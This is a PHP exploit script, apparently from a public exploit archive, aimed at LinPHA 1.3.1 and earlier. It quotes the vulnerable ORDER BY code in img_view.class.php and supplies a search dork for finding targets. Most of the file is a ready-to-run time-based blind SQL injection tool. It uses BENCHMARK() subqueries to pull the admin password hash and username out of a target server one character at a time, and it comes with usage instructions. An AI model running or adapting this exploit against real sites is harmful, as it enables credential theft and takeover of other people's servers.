linpha131-sql.txt

`<?php  
  
/*  
LinPHA <= 1.3.1 (new_images.php) Remote Blind SQL Injection  
Hash Fishing Exploit / BENCHMARK() method  
  
author...: EgiX  
mail.....: n0b0d1es[at]hotmail[dot]com  
  
link.....: http://linpha.sourceforge.net/  
dork.....: "LinPHA Version 1.3.x" or "The LinPHA developers"  
  
vulnerable code in /include/img_view.class.php:  
  
183. function setDefaultOrder($default_order)  
184. {  
185. if(isset($_REQUEST['order']))  
186. {  
187. $this->order = $_REQUEST['order'];  
188.   
189. if($default_order != $_REQUEST['order'])  
190. {  
191. $this->link_address .= '&order='.$_REQUEST['order'];  
192. }  
193. }  
194. else  
195. {  
196. $this->order = $default_order;  
197. }  
198. }  
199.  
200. //  
201. // set sql query string  
202. //  
203. function setSql($sql_begin,$sql_where)  
204. {  
205. $this->sql_where = $sql_where." ".sql_perm()." AND ".  
206. PREFIX."photos.prev_path LIKE ".$GLOBALS['db']->Concat(PREFIX."first_lev_album.path","'%'").  
207. " ORDER by ".P.".".get_thumb_order($this->order); <-- BUG  
208.   
209. if(empty($sql_begin))  
210. {  
211. $sql_begin = "SELECT ".P.".id AS id, ".P.".name As name, ".P.".filename AS filename, " .  
212. "".P.".prev_path AS prev_path, ".P.".date AS date, " .  
213. "".P.".level AS level, ".P.".md5sum AS md5sum";  
214.  
215. }  
216. $this->sql = $sql_begin.$this->sql_where;  
217. $query = $GLOBALS['db']->Execute($this->sql);  
218. $this->num_photos = $query->RecordCount();  
219. }  
  
$_REQUEST['order'] ('$this->order') parameter isn't properly sanitised, so we should be able (with MySQL version 4.1 or higher)  
to inject sql code in a subquery after 'ORDER by' statement...we can retrive admin credentials with BENCHMARK() function!  
  
Too see table prefix: http://[host]/[linpha]/new_images.php?order=foo  
*/  
  
error_reporting(0);  
ini_set("default_socket_timeout",5);  
set_time_limit(0);  
  
function http_send($host, $packet)  
{  
$i = 0;  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
if ($i++ == 10) die();  
print "\n[-] No response from ".$host.":80 Trying again...\n";  
$sock = fsockopen($host,$port);  
sleep(1);  
}  
fputs($sock, $packet);  
$resp = "";  
while (!feof($sock)) $resp .= fread($sock, 1);  
fclose($sock);  
return $resp;  
}  
  
function getmicrotime()  
{   
list($usec, $sec) = explode(" ", microtime());   
return ((float)$usec + (float)$sec);   
}  
  
function getdelay($query)  
{  
global $host, $path;  
  
$pck = "GET ".$path."new_images.php?order=$query HTTP/1.1\r\n";  
$pck.= "Host: ".$host."\r\n";  
$pck.= "Keep-Alive: 300\r\n";  
$pck.= "Connection: keep-alive\r\n\r\n";  
$start = getmicrotime()*1000;  
http_send($host, $pck);  
$end = getmicrotime()*1000;  
  
return ($end - $start);  
}  
  
function normaldelay()  
{  
global $count, $prefix, $uid;  
  
$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=0,BENCHMARK(".$count.",MD5(1)),0)))";  
$d1 = getdelay($sql);  
$d2 = getdelay($sql);  
$d3 = getdelay($sql);  
$m = ($d1 + $d2 + $d3) / 3;  
return (intval($m));  
}  
  
function benchmarkdelay()  
{  
global $count, $prefix, $uid;  
  
$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=1,BENCHMARK(".$count.",MD5(1)),0)))";  
$d1 = getdelay($sql);  
$d2 = getdelay($sql);  
$d3 = getdelay($sql);  
$m = ($d1 + $d2 + $d3) / 3;  
return (intval($m));  
}  
  
function check_query($query)  
{  
global $ndelay;  
  
$ret = false;  
$d = intval(getdelay($query));  
if ($d > ($ndelay * 2)) $ret = true;  
return $ret;  
}  
  
function check_target()  
{  
// see if MySQL version is >= 4.1 (subqueries support) or other error  
global $host, $path;  
  
print "\n[-] Checking $host...";  
$pck = "GET ".$path."new_images.php?order=id,(SELECT/**/1) HTTP/1.1\r\n";  
$pck.= "Host: ".$host."\r\n";  
$pck.= "Keep-Alive: 300\r\n";  
$pck.= "Connection: keep-alive\r\n\r\n";  
$buff = http_send($host, $pck);  
if (!strpos($buff, "The LinPHA developers"))  
die("\n\n[-] Error... Probably wrong MySQL version!\n");  
else  
print " OK!\n";  
}  
  
print "\n+-----------------------------------------------------------------------------+";  
print "\n| LinPHA <= 1.3.1 (new_images.php) Remote Blind SQL Injection Exploit by EgiX |";  
print "\n+-----------------------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage: php $argv[0] host path [delay] [prefix] [userid]\n";  
print "\nhost: target server (ip/hostname)";  
print "\npath: path to linpha directory";  
print "\ndelay: delay for BENCHMARK() (dafault: 1000000)";  
print "\nprefix: table's prefix (default: linpha)";  
print "\nuserid: user id (default: 1 - admin)\n";  
print "\nExample: php $argv[0] localhost /linpha/";  
print "\nExample: php $argv[0] localhost / 2000000 other_prefix 2\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
$count = (isset($argv[3]) ? $argv[3] : 1000000);  
$prefix = (isset($argv[4]) ? $argv[4] : "linpha");  
$uid = (isset($argv[5]) ? $argv[5] : "1");  
  
check_target();  
  
print "\n[-] Testing delay time...";  
$ndelay = normaldelay();  
print "\n[-] Normal delay: $ndelay ms";  
$bdelay = benchmarkdelay();  
print "\n[-] Benchmark delay: $bdelay ms\n";  
  
$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);  
$index = 1; $md5 = "";  
print "\n[-] MD5 Hash: ";  
  
while (!strpos($md5, chr(0)))  
{  
for ($i = 0; $i <= count($hash); $i++)  
{  
if ($i == count($hash)) die("\n[-] Exploit failed...\n");  
  
$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/OR/**/" .  
"RAND(IF((ORD(SUBSTRING(password,".$index.",1))=".$hash[$i]."),BENCHMARK(".$count.",MD5(1)),1)))";  
  
if (check_query($sql))  
{  
$md5 .= chr($hash[$i]);  
print chr($hash[$i]);  
break;  
}  
}  
  
$index++;  
}  
  
$char = array(0); // null char  
for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($j)); // a-z  
for ($j = 65; $j <= 90; $j++) $char = array_merge($char, array($j)); // A-Z  
for ($j = 48; $j <= 57; $j++) $char = array_merge($char, array($j)); // 0-9  
  
$index = 1; $user = "";  
print "\n[-] Username: ";  
  
while (!strpos($user, chr(0)))  
{  
for ($i = 0; $i <= count($hash); $i++)  
{  
if ($i == count($hash)) die("\n[-] Exploit failed...\n");  
  
$sql = "id,(SELECT/**/nickname/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/OR/**/" .  
"RAND(IF((ORD(SUBSTRING(nickname,".$index.",1))=".$char[$i]."),BENCHMARK(".$count.",MD5(1)),1)))";  
  
if (check_query($sql))  
{  
$user .= chr($char[$i]);  
print chr($char[$i]);  
break;  
}  
}  
  
$index++;  
}  
  
print "\n\n[-] Successfull!\n";  
  
?>  
  
`